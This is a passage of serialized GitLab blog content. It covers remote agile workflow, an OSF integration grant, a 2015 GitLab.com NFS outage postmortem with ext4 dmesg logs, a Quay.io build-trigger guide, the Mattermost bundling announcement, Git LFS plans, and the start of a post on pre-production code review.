everyone.\n\nThere is also a general guideline to prioritization of work. This does not\nwork as a hard rule and also depends on your skills and responsibilities:\n\n1. Emergency issues\n1. Security issues\n1. Data integrity (not losing data)\n1. Availability of GitLab.com\n1. Subscriber questions\n1. Regression issues\n1. Consultancy work\n1. Promised features\n1. Growth efforts\n1. Other work\n\nFind this [in our handbook](/handbook/communication/#gitlab-workflow).\n\n### Known issues\n\nPeople can choose their own issues, which can result in a situation where\nissues that are not 'fun' are not being picked up. This can be solved with\nproper handling of overflow issues, as described below.\n\n## Overflow\n\nOverflow of issues is something that happens every month. Meaning, not all issues\nassigned to a release get completed or worked on.\n\nIn the past, we would simply move everything to the next milestone. This 'waterfall'\nworkflow didn't work, as unpopular things would get dragged on for many releases.\nNowadays, we (I) go through all leftover issues and investigate why they didn't get\ndone and what we can do with them.\nThis often results in dropping the issue as it's no longer relevant or moving it\nup to a future release and pinging a developer to take ownership of it.\n\nManaging overflow issues is a very hard balance between capacity and process.\nMostly we blame a lack of developer capacity with overflow issues\n([we're hiring!](/jobs/)).\nWith every release, we try to reflect on what could have been done better.\n\nFor example, most recently Douwe and I proposed a different model to schedule\nissues to prevent too many promised issues. Most developers had strong opinions\non this, which spawned this article. We ended up not making changes, choosing\nspeed and flexibility over process, but gained insight into how people feel about\nthe status quo.\n\n## Openness, Independence and Responsibility\n\nAs a developer you're required to operate independently and make decisions.\nBy making your own decisions, it reduces process overhead and unnecessary\ncommunication.\n\nIt's your responsibility to report those decisions in the issue that you're working\nfrom. This is the core of our workflow. People that were previously active in the\nsame issue, will receive your updates and thoughts without disturbing one another.\nIf there is an issue, they will respond in the issue. The whole process is asynchronous\nand self-organizing.\n\nLastly, [we're open](/blog/almost-everything-we-do-is-now-open/).\nThis is something that runs deep within GitLab. To be able to work with the community,\nwith our customers, we have to work in a way that everyone can contribute equally.\n\nWe think this works well for everyone, but are always looking to improve things.\nAs we're growing very fast, we're not sure whether this will scale.\n\nHow does your workflow look and why does it work for you?\n\n## Related Reads\n\n- [How we use GitLab to build GitLab](/blog/how-we-use-gitlab-to-build-gitlab/)\n- [The Release Manager](/blog/release-manager-the-invisible-hero/)\n- [The Remote Manifesto](/blog/the-remote-manifesto/)\n",{"slug":39364,"featured":6,"template":678},"remote-agile-at-gitlab","content:en-us:blog:remote-agile-at-gitlab.yml","Remote Agile At Gitlab","en-us/blog/remote-agile-at-gitlab.yml","en-us/blog/remote-agile-at-gitlab",{"_path":39370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39371,"content":39377,"config":39381,"_id":39383,"_type":16,"title":39384,"_source":17,"_file":39385,"_stem":39386,"_extension":20},"/en-us/blog/a-grant-to-help-us-integrate-gitlab-with-open-source-osf",{"title":39372,"description":39373,"ogTitle":39372,"ogDescription":39373,"noIndex":6,"ogImage":39374,"ogUrl":39375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39375,"schema":39376},"A grant to help us integrate GitLab with open source OSF","We would like to facilitate researchers' efforts by integrating GitLab with the Open Science Framework (OSF).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684475/Blog/Hero%20Images/osf-integration.jpg","https://about.gitlab.com/blog/a-grant-to-help-us-integrate-gitlab-with-open-source-osf","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A grant to help us integrate GitLab with open source OSF\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2015-09-03\",\n      }",{"title":39372,"description":39373,"authors":39378,"heroImage":39374,"date":39379,"body":39380,"category":299},[1380],"2015-09-03","\n\nAs the GitLab community keeps growing, we believe it's vital to integrate with other services and support the open source\nmovement. We would like to facilitate researchers' efforts by integrating GitLab with the [Open Science Framework (OSF)](https://osf.io/). We will jointly sponsor a USD 8,000 - 10,000 grant through the [Center for Open Science (COS)](http://centerforopenscience.org/) for the developer (or team of developers) who helps us integrate GitLab with OSF.\n\n\u003C!-- more -->\n\n## What is OSF?\n\nThe Open Science Framework (OSF) is a free open source cloud based platform which connects services across the entire\nresearch lifecycle to promote research efficiency and reproducibility. OSF facilitates open collaboration in science\nresearch. Today, they are integrated with storage providers Box.com, Dropbox, Amazon S3, figshare, GitHub, Google\nDrive, and Dataverse, and citation management tools Zotero and Mendeley. We believe that GitLab is a useful storage\noption that researchers should also have.\n\nThe Center for Open Science supports and maintains the OSF and has [grants available](http://centerforopenscience.org/integrationgrants/) to connect OSF with many tools and\nservices that researchers use. There is a USD 8,000 - 10,000 grant to help GitLab and OSF integration. Would you like to help us?\n\n## What should the proposals include?\n\nProposals should include the following information:\n\n1. Vitals of the individual or team that will do the work\n\n1. Why this is the right team for the job\n\n1. An assessment of the APIs for the selected tool(s)/service(s) and the v2 Open Science Framework API, and how these\nwould interact\n\n1. Description of project plan and milestones over approximately 3 months development cycle\n\nProposers must commit to making all code available as open source with an Apache 2.0 license. Applicants may propose\nworking on multiple integrations.\n\nProposals will be accepted on a rolling basis. Decisions will be made quickly so that teams can receive funding and\ninitiate their work.\n\nPlease send your proposal through the [Grants to Connect Tools and Services for an Open Science application form](\nhttps://docs.google.com/forms/d/1h2T_So_f52nGpA8SH2RnywgztoOyca533O9sf9K42HQ/viewform).\n",{"slug":39382,"featured":6,"template":678},"a-grant-to-help-us-integrate-gitlab-with-open-source-osf","content:en-us:blog:a-grant-to-help-us-integrate-gitlab-with-open-source-osf.yml","A Grant To Help Us Integrate Gitlab With Open Source Osf","en-us/blog/a-grant-to-help-us-integrate-gitlab-with-open-source-osf.yml","en-us/blog/a-grant-to-help-us-integrate-gitlab-with-open-source-osf",{"_path":39388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39389,"content":39394,"config":39398,"_id":39400,"_type":16,"title":39401,"_source":17,"_file":39402,"_stem":39403,"_extension":20},"/en-us/blog/gitlab-dot-com-outage-on-2015-09-01",{"title":39390,"description":39391,"ogTitle":39390,"ogDescription":39391,"noIndex":6,"ogImage":12013,"ogUrl":39392,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39392,"schema":39393},"GitLab.com outage on 2015-09-01","This morning GitLab.com was offline for one hour while we were investigating what seemed to be a filesystem corruption issue.","https://about.gitlab.com/blog/gitlab-dot-com-outage-on-2015-09-01","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com outage on 2015-09-01\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Vosmaer\"}],\n        \"datePublished\": \"2015-09-01\",\n      }",{"title":39390,"description":39391,"authors":39395,"heroImage":12013,"date":39396,"body":39397,"category":299},[15467],"2015-09-01","\n\nThis morning GitLab.com was offline for one hour while we were\ninvestigating what seemed to be a filesystem corruption issue.  With\nthis blog post we want to tell you more about what was going on and\nwhat we discovered.\n\n\u003C!-- more -->\n\nThis morning around 7:00 UTC the NFS server that holds the Git\nrepositories hosted on GitLab.com became very slow. This made\nGitLab.com also very slow. While investigating this issue on the\nNFS server, we saw the following error messages in the output of\n`dmesg`:\n\n```\n[870355.932072] EXT4-fs (dm-0): error count since last fsck: 2\n[870355.932076] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[870355.932079] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[956863.452065] EXT4-fs (dm-0): error count since last fsck: 2\n[956863.452070] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[956863.452072] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[1043370.972077] EXT4-fs (dm-0): error count since last fsck: 2\n[1043370.972081] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[1043370.972084] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[1129878.492074] EXT4-fs (dm-0): error count since last fsck: 2\n[1129878.492108] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[1129878.492111] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[1216386.012085] EXT4-fs (dm-0): error count since last fsck: 2\n[1216386.012135] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[1216386.012139] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[1302893.532065] EXT4-fs (dm-0): error count since last fsck: 2\n```\n\nThis made us worry that something was really wrong with the filesystem\nthat holds all GitLab.com data, and we decided that we should take\nthe filesystem (and hence GitLab.com) offline to run `fsck` on it.\nThis was at [7:54\nUTC](https://twitter.com/gitlabstatus/status/638621030060290048).\nWith fsck under way we started thinking about other, faster ways\nto bring GitLab.com back online. We considered restoring a backup,\nbut that would have set back the clock 6-7 hours (we make backups\nonce a day) and because the backups use block device snapshots,\nthere was a good chance that whatever file system corruption we\nwere seeing would be present in the backup too.\n\nAt some point we went back to the dmesg output to try and better\nunderstand the errors. What was it really saying? What were those\ntime stamps at the start of each line? It turns out dmesg can show\nhuman-readable timestamps if you pass the `-T` option. Now things\nsuddenly looked very different:\n\n```\n[Wed Aug 26 14:52:55 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Wed Aug 26 14:52:55 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Wed Aug 26 14:52:55 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Thu Aug 27 14:54:43 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Thu Aug 27 14:54:43 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Thu Aug 27 14:54:43 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Fri Aug 28 14:56:31 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Fri Aug 28 14:56:31 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Fri Aug 28 14:56:31 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Sat Aug 29 14:58:18 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Sat Aug 29 14:58:18 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Sat Aug 29 14:58:18 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Sun Aug 30 15:00:06 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Sun Aug 30 15:00:06 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Sun Aug 30 15:00:06 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Mon Aug 31 15:01:53 2015] EXT4-fs (dm-0): error count since last fsck: 2\n[Mon Aug 31 15:01:53 2015] EXT4-fs (dm-0): initial error at time 1439995223: ext4_mb_generate_buddy:756\n[Mon Aug 31 15:01:53 2015] EXT4-fs (dm-0): last error at time 1439995223: ext4_mb_generate_buddy:756\n[Tue Sep  1 07:53:11 2015] nfsd: last server has exited, flushing export cache\n```\n\nWhat we saw now was that we were getting the same error once a day,\ngoing back to the first day we mounted this filesystem on the server\n(after our migration from Germany to the US). The scary error message\nthat made us assume the worst and led us to take emergency measures\n(taking GitLab.com offline for fsck) turned out to have been repeating\nfor weeks, like clockwork, around 15:00 UTC every day. Moreover,\nwe saw no new errors appearing, just a regular repeat of the same\nerror. Although the message signals a problem that we should not\nignore, looking at it and understanding the pattern it no longer\nlooked like a likely cause for the load issues (NFFS server trouble)\nthat started all of this.\n\nAt this point we decided that the best course of action was to abort\nthe filesystem check and bring GitLab.com back online. This was\naround [8:52\nUTC](https://twitter.com/gitlabstatus/status/638635500274909184).\nAfter seeing more 502 errors than usual for a few minutes, GitLab.com\nwas operating normally again.\n\n## Next steps\n\nWe are in the process of moving all GitLab.com data off of the ext4\nfilesystem that scared us with its two errors. This is because three\nyears after we created it, we are outgrowing its built-in maximum\nsize of 16 TB. We will run `git fsck` (Git's built-in consistency\ncheck) on each repository once we are on the new filesystem.\n\nWe are still in the dark about the cause of the NFS slowdowns. We\nsee no spikes of any kind of web requests around the slowdowns. The\nbackend server only shows the ext4 errors mentioned above, which\ndo not coincide with the NFS trouble, and no NFS error messages.\nThe NFS clients show kernel messages about processes hanging during\nfilesystem operations, which really only tells us that here is an\nNFS problem.\n\nLast week, on 2015-08-27, we had a similar problem on GitLab.com,\nwhich we responded to by doubling the number of servers that handle\nuser traffic. That helped that time but it does not seem to have helped with this problem.\n\nWe will keep looking for potential causes and keep monitoring the\nsituation.\n\n## Lessons\n\nAs an operations team we still struggle with giving enough status\nupdates during a crisis. All people who were on this problem were\nfocused on the GitLab.com servers, and nobody was talking to the\nGitLab.com users, leading to an hour of radio silence from\n`@gitlabstatus` during the incident. We need to improve on this,\nbut like debugging NFS server meltdowns, it is a hard problem.",{"slug":39399,"featured":6,"template":678},"gitlab-dot-com-outage-on-2015-09-01","content:en-us:blog:gitlab-dot-com-outage-on-2015-09-01.yml","Gitlab Dot Com Outage On 2015 09 01","en-us/blog/gitlab-dot-com-outage-on-2015-09-01.yml","en-us/blog/gitlab-dot-com-outage-on-2015-09-01",{"_path":39405,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39406,"content":39411,"config":39416,"_id":39418,"_type":16,"title":39419,"_source":17,"_file":39420,"_stem":39421,"_extension":20},"/en-us/blog/quayio",{"title":39407,"description":39408,"ogTitle":39407,"ogDescription":39408,"noIndex":6,"ogImage":12013,"ogUrl":39409,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39409,"schema":39410},"Integrate GitLab-hosted Docker projects with Quay.io","Continuous Integration of GitLab-Hosted Docker Projects with Quay.io","https://about.gitlab.com/blog/quayio","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous Integration of GitLab-Hosted Docker Projects with Quay.io\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Schorr from CoreOS\"}],\n        \"datePublished\": \"2015-08-19\",\n      }",{"title":39408,"description":39408,"authors":39412,"heroImage":12013,"date":39414,"body":39415,"category":734},[39413],"Joseph Schorr from CoreOS","2015-08-19","\n_This is a guest post by CoreOS._\n\nThe proliferation of containerization via systems such as Docker and [rkt](https://github.com/coreos/rkt) has introduced many benefits for application developers worldwide. However, this trend towards running applications in containers has also introduced hurdles when trying to ensure continuous integration of applications. Developers who depend upon continuous integration are faced with a new problem: How to ensure they always have a fully up-to-date container image of their source code, built every time they push to source control, and, available in their container registry immediately.\n\nTo help developers be more efficient working in teams and ensure they are developing on the most up-to-date version of their container images, we at [Quay.io](https://quay.io/) developed a continuous building pipeline.\nQuay.io transforms [source code found in GitLab](/solutions/source-code-management/) and other SCMs into Docker container images on every push. Quay.io, delivered by CoreOS, is a secure and easy way to build, manage, store and serve Docker container images.\n\nBy bringing Quay.io together with GitLab, users are able to develop easier and faster thanks to seamless syncing of their code to container images, helping to identify problems more quickly and easily test their updated container images in response to changes.\n\n\u003C!-- more -->\n\n## How to set up a GitLab project with a Dockerfile\n\nGetting started with GitLab and Quay.io can be done in a few simple steps.\n\n### Sign in to GitLab\n\nFirst, [sign in to GitLab](https://gitlab.com/users/sign_in) with your account.\nQuay.io will request access to your GitLab repository later on in this process.\n\n### Sign in to Quay.io\n\n[Sign into Quay.io](https://quay.io/signin) with either a username and password, or GitHub/Google.\nIf you do not yet have a Quay.io account, an account with a 30-day free trial can be created here: [https://quay.io/plans](https://quay.io/plans).\n\n### Use an existing container repository in Quay.io\n\nIf you have an existing container repository in Quay.io, click on the repository you’d like to automatically build, and click the builds tab found on the left-hand side of the repository screen:\n\n![Quay.io build tab](https://about.gitlab.com/images/quayio/build-tab.png)\n\nFrom here, scroll to the bottom of the tab and click the “Create Build Trigger” button.\nYou will be presented with a menu showing the various source control management systems supported by Quay.io.\nChoose **GitLab Repository Push**:\n\n![Creating a Quay.io build trigger](https://about.gitlab.com/images/quayio/create-trigger.png)\n\n### Create a new container repository in Quay.io\n\nIf you do not yet have a container repository on Quay.io, follow these instructions to create a new repository.\n\nClick the **+** icon next to your username in the upper right hand corner of Quay.io, and click [**New Repository**](https://quay.io/new/):\n\n![](https://about.gitlab.com/images/quayio/new-repo.png)\n\nYou will be asked for a new name for the repository, whether to make it public or private, and how to initialize the repository.\n\nChoose **Link to a GitLab Repository Push** for the Initialize Repository option:\n\n![](https://about.gitlab.com/images/quayio/initialize-repo.png)\n\n### Allow Quay.io access to GitLab\n\nOnce the above process has completed, you will be redirected to GitLab to begin the build trigger setup process:\n\n![](https://about.gitlab.com/images/quayio/oauth.png)\n\nClick **Authorize** to grant Quay.io access to your GitLab repositories.\n\n### Select the GitLab repository to build\n\nAfter authorization, GitLab will redirect you back to Quay.io, which (after a few moments) will display the trigger setup dialog:\n\n![Quay.io trigger dialog](https://about.gitlab.com/images/quayio/dialog1.png)\n\nChoose a GitLab repository to build (or enter the repository in the repository box) and click **Next**.\n\n### Finish GitLab trigger setup\n\nYou will be asked for other information pertaining to the build, such as the subdirectory that contains the Dockerfile (usually this is just “/”), what branches/tags to build (by default: everything) and whether to use a [Robot Account](http://docs.quay.io/glossary/robot-accounts.html) as pull credentials (only required if you have a private base image on Quay.io).\n\nOnce this information is entered, the build trigger will be set up on GitLab:\n\n![Final Quay.io trigger dialog](https://about.gitlab.com/images/quayio/dialog2.png)\n\nFrom this point forward, any pushes to your GitLab repository will immediately start a build on Quay.io of the commit pushed.\n\nIf you want to view a build without a GitLab push, you can click **Run Trigger Now** to have Quay.io pull the latest commit from GitLab and begin a build to populate your container repository.\n\n### Monitor GitLab builds on Quay.io\n\nAll builds triggered from GitLab can be found under the builds tab in the repository page.\nEach build shows its status, the commit information and links to the commit itself on GitLab:\n\n![Active build on a Quay.io build tab](https://about.gitlab.com/images/quayio/build.png)\n\nClicking on the build ID will take you to a page to view the logs of the build in real-time:\n\n![Build logs on Quay.io](https://about.gitlab.com/images/quayio/build-logs.png)\n\nThe logs for each step can be displayed by clicking on the **>** arrow next to the step, to expands it.\n\n### GitLab + Quay.io = 👍\n\nAs we’ve seen, setting up a continuous integration pipeline from GitLab to Quay.io can be done in a few short and easy steps.\nThe combination of these two powerful services allows developers to be confident that when source code is updated, there will be a fully updated Docker container available for testing and usage with a few short minutes.\n\nTo get started with Quay.io, [sign up for a free 30-day trial](https://quay.io/?utm_source=GitLab&utm_medium=Blog&utm_campaign=GitLab) or [contact us](https://quay.io/contact/) if you have any questions.\n\nWant to build GitLab repositories behind your firewall? We got you covered with our on-premises [Quay.io Enterprise Registry](https://coreos.com/products/enterprise-registry/).\n",{"slug":39417,"featured":6,"template":678},"quayio","content:en-us:blog:quayio.yml","Quayio","en-us/blog/quayio.yml","en-us/blog/quayio",{"_path":39423,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39424,"content":39429,"config":39433,"_id":39435,"_type":16,"title":39436,"_source":17,"_file":39437,"_stem":39438,"_extension":20},"/en-us/blog/gitlab-loves-mattermost",{"title":39425,"description":39426,"ogTitle":39425,"ogDescription":39426,"noIndex":6,"ogImage":39129,"ogUrl":39427,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39427,"schema":39428},"GitLab Mattermost, an open source on-premises Slack alternative","We're very excited to announce that we'll ship GitLab Mattermost, an open source, on-premises messaging app (like Slack) along with GitLab.","https://about.gitlab.com/blog/gitlab-loves-mattermost","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Mattermost, an open source on-premises Slack alternative\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-08-18\",\n      }",{"title":39425,"description":39426,"authors":39430,"heroImage":39129,"date":39431,"body":39432,"category":299},[3532],"2015-08-18","\n\nWe're very excited to announce that we'll ship GitLab Mattermost, an open source, on-premises messaging app (like Slack) along with GitLab.\nGitLab Mattermost will first be included with the Omnibus packages of GitLab 7.14 (due August 22nd).\nWe think GitLab Mattermost will be a great addition for GitLab users that need all software on-premises.\n\n\u003C!-- more -->\n\nLike many companies in the last year we've switched to using Slack to improve internal communication.\nWe are a [remote company](/blog/how-gitlab-works-remotely/) and great realtime asynchronous communication is very important.\nObviously we use GitLab issues and merge requests extensively, but for some things a chat room can't be beaten.\n\nThat is why GitLab used to include a chat feature called the 'wall' for each project.\nThe wall was a [loved feature in 2012](https://twitter.com/gitlab/status/274128115318550531), but in 2014 people [didn't use it](https://twitter.com/gitlab/status/478990520505888769).\nThe code had deteriorated and we removed the wall when we [released GitLab 7.0](/releases/2014/06/22/gitlab-7-dot-0-released/).\n\nMany larger organisations run all software on-premises, often because of security, scale and control.\nSince Slack doesn't offer an on-premises version, we searched for other options.\nWe found Mattermost to be the leading open source Slack-alternative and suggested a collaboration to the Mattermost team.\n\n![Mattermost screenshot](https://about.gitlab.com/images/mattermost/mattermost.png)\n\nIt turns out that [after the successful launch of Mattermost on Hacker News](https://news.ycombinator.com/item?id=9770322) there were a lot of requests for an easier way to install Mattermost and to add LDAP features to it.\nWith Omnibus GitLab we have a great way to install software in 2 minutes on many platforms and GitLab CE and EE contain many LDAP features.\nWe decided to collaborate and the Mattermost team quickly added PostgreSQL support and OAuth login to Mattermost so it could connect to the [GitLab OAuth provider](http://doc.gitlab.com/ce/integration/oauth_provider.html).\n\nIn version 7.14 GitLab Mattermost will be part of the Omnibus package, just like GitLab CI.\nJust like GitLab CI it will be disabled by default so it doesn't use any CPU or memory and doesn't enlarge the attack surface.\nAnd just like GitLab CI it takes a one line configuration change to enable it.\nRight now Mattermost 0.6 is in alpha state, its security has yet to be externally reviewed, and data migration to future versions might not always work.\nBut GitLab the company will pay for an external security audit and the Mattermost team is getting closer to a beta version.\n\nAdding the GitLab Mattermost code to the Omnibus packages makes them just 3% larger (from 337MB to 345MB right now) and offers a much easier setup because we can configure the OAuth integration automatically like we do for GitLab CI.\nIn gitlab.rb you'll configure the FQDN (mattermost.example.com) and the Omnibus package will take care of setting up OAuth credentials. In the future we'll also make it easier to post from GitLab and GitLab CI to GitLab Mattermost.\nReleasing it with 7.14 in alpha state will allow more eyes on the project in order to [report Mattermost bugs on GitLab.com](https://gitlab.com/gitlab-org/gitlab-mattermost), [responsibly disclose Mattermost security vulnerabilities](http://www.mattermost.org/responsible-disclosure-policy/) and [report Omnibus package bugs](https://gitlab.com/gitlab-org/omnibus-gitlab/issues).\nWe hope that with GitLab 8.0 (planned for September 22, following 7.14) we can ship GitLab Mattermost in beta state.\nThe progress of the work is discussed in [an issue for Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/654).\n\nWe have not taken the decision to include an extra component in the Omnibus packages lightly.\nWe think GitLab Mattermost will be a great addition for GitLab users that need all software on-premises.\nWe hope that the rest of the community is as exited about this as we are.\nWe look forward to discussing your ideas and concerns in the comments.\n",{"slug":39434,"featured":6,"template":678},"gitlab-loves-mattermost","content:en-us:blog:gitlab-loves-mattermost.yml","Gitlab Loves Mattermost","en-us/blog/gitlab-loves-mattermost.yml","en-us/blog/gitlab-loves-mattermost",{"_path":39440,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39441,"content":39447,"config":39451,"_id":39453,"_type":16,"title":39454,"_source":17,"_file":39455,"_stem":39456,"_extension":20},"/en-us/blog/towards-a-production-quality-open-source-git-lfs-server",{"title":39442,"description":39443,"ogTitle":39442,"ogDescription":39443,"noIndex":6,"ogImage":39444,"ogUrl":39445,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39445,"schema":39446},"Towards a production quality open source Git LFS server","At GitLab we would love to be compatible with Git Large File Support (LFS).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683672/Blog/Hero%20Images/FILENAME.jpg","https://about.gitlab.com/blog/towards-a-production-quality-open-source-git-lfs-server","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Towards a production quality open source Git LFS server\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-08-13\",\n      }",{"title":39442,"description":39443,"authors":39448,"heroImage":39444,"date":39449,"body":39450,"category":299},[3532],"2015-08-13","\n\n## Update\n\nSince GitLab 8.2 we [supports Git LFS](/blog/announcing-git-lfs-support-in-gitlab/) in GitLab CE and EE.\n\n## Original article\n\nAt GitLab we would love to be compatible with Git Large File Support (LFS).\nWe plan to base our implementation on a reference implementation that is currently not in a production ready state.\nBut we hope that over time we can get to production level support.\nWhat follows is some background how and why we are taking this path instead of reusing an existing solution.\n\n\u003C!-- more -->\n\nGit repositories can't get larger than a few gigabytes so if you want to use large binaries you need to extend it.\nThe most extensive open source project to do this is Git Annex, which [started in 2010](https://en.wikipedia.org/wiki/Git-annex).\nThere were many other projects similar to this such as [Git Media](https://github.com/alebedev/git-media).\nGitHub chose to start a new project in private called Git LFS [in September 2013 based on Git Media](https://github.com/github/git-lfs/commit/d8f780329b64e789553bc8ccccfb993ebc430325).\n\nIn February of 2015 we [released support for Git Annex](/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git/) in our proprietary GitLab Enterprise Edition.\nAlmost all of the code to support this was included in the open source [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell).\n\nIn April of 2015 GitHub [announced Git LFS](https://github.com/blog/1986-announcing-git-large-file-storage-lfs) and open sourced [the client](https://github.com/github/git-lfs) and a [reference implementation for the server](https://github.com/github/lfs-test-server).\nThe reference implementation is called 'lfs-test-server' and the [first section of the readme](https://github.com/github/lfs-test-server#lfs-test-server) mentions that \"It is intended to be used for testing the Git LFS client and is not in a production ready state.\"\nThe client implementation is really well done and many people request support for it [on our feature request tracker](http://feedback.gitlab.com/forums/176466-general/suggestions/7502608-git-large-file-storage-lfs-support).\n\nObviously we would like to support it properly and wondered [if the test server code is something we can use in production](https://twitter.com/gitlab/status/623089117983821824).\nWe did not get a response to the above tweet nor to an email we sent.\nOf course nobody owes us a response and GitHub is free to do as they please with their code.\n\nInterestingly a day later the twitter account [gitlabceohere](https://twitter.com/gitlabceohere) is also [in the market for something production-ready](https://twitter.com/gitlabceohere/status/623521722424295425).\nWe don't know who is behind the account (which has been pretty funny so far), we only know that the first 6 [followers of the account](https://twitter.com/gitlabceohere/followers) are all current or former GitHub employees.\n\nWe think that the best course of action is to use the Git LFS reference implementation and make it work for GitLab.\nUnfortunately we'll have to fork the project since we have to remove the [user management that is included in the project](https://github.com/github/lfs-test-server#running).\nOf course our fork will be open source and in addition we plan to add Git LFS support to both GitLab CE and EE.\nThe work on this has already started with https://github.com/gitlabhq/gitlab-shell/pull/230#issuecomment-116735181 that was contributed by Artem Navrotskiy.\nHopefully there will be more merge requests from the rest of the community and the people at GitLab the company will do their best to contribute too.\nCurrently our estimate is to release an alpha version of Git LFS with GitLab 8.1 and a beta in 8.2.\n",{"slug":39452,"featured":6,"template":678},"towards-a-production-quality-open-source-git-lfs-server","content:en-us:blog:towards-a-production-quality-open-source-git-lfs-server.yml","Towards A Production Quality Open Source Git Lfs Server","en-us/blog/towards-a-production-quality-open-source-git-lfs-server.yml","en-us/blog/towards-a-production-quality-open-source-git-lfs-server",{"_path":39458,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39459,"content":39464,"config":39468,"_id":39470,"_type":16,"title":39471,"_source":17,"_file":39472,"_stem":39473,"_extension":20},"/en-us/blog/6-reasons-why-pre-is-better-than-post-production-code-review",{"title":39460,"description":39461,"ogTitle":39460,"ogDescription":39461,"noIndex":6,"ogImage":36088,"ogUrl":39462,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39462,"schema":39463},"6 reasons why pre is better than post production code review","Six good reasons why you should review code before it's being deployed/ released/ merged.","https://about.gitlab.com/blog/6-reasons-why-pre-is-better-than-post-production-code-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"6 reasons why pre is better than post production code review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-08-05\",\n      }",{"title":39460,"description":39461,"authors":39465,"heroImage":36088,"date":39466,"body":39467,"category":8943},[36660],"2015-08-05","\n\nCode review is very important. You don't want to run the risk of [technical debt].\nActually doing code review is another matter. Besides the variety of tools and tricks\nfor the act of code review, the timing is vital.\n\n[Quora published a great article] about maintaining velocity in projects.\nThe article is really great but we think that their post production code review\nis timed wrong.\n\n\u003C!-- more -->\n\n## Requirements for Early Review\n\nThe Quora article mentions two things that can go wrong if you do a pre production\ncode review:\nIf you do early code review it has to be fast or it'd undo some of the advantages\nand slow down your release cycle. An easy fix for this is to not wait for particular\npeople, rather just have a number of required reviewers (you can do this with\n[merge request approvals] or just agree on something internally).\n\nSecond, the big picture has to be in scope for you and your reviewers. It's possible\nthat a larger piece of code needs refactoring. If this is the case,\ndo it within the merge request or schedule the refactoring as a separate issue.\n\nHere, we give you six good reasons why you should review code before it's being\ndeployed / released / merged, rather than doing code review on code that is\nin use already.\n\n## 1. It's still fresh\n\nIf you get feedback on something that you recently worked on, you're\nlikely to have the context and structure in mind of that piece of code.\n\nProduction code that is reviewed much later on will require you to do another\ndeep dive into code that you might have not touched in a while. This is inefficient\nand sets you up for failure, as the context is never as clear as it was while you\nworked on it.\n\n## 2. Less Resistance to Change\n\nWhen your code is running in production for some time, seemingly doing what it\nshould, it'll be harder to convince you to change it. You will be more resistant\nto changes suggested by your colleagues.\n\nWith unproven code the \"it works, why change it?\" argument is much harder to make.\n\n## 3. Higher Focus on Quality\n\nAs you will be less resistant to code that is not running successfully yet,\nyour reviewers will be more insistent on the functionality and quality of the\ncode. The code has 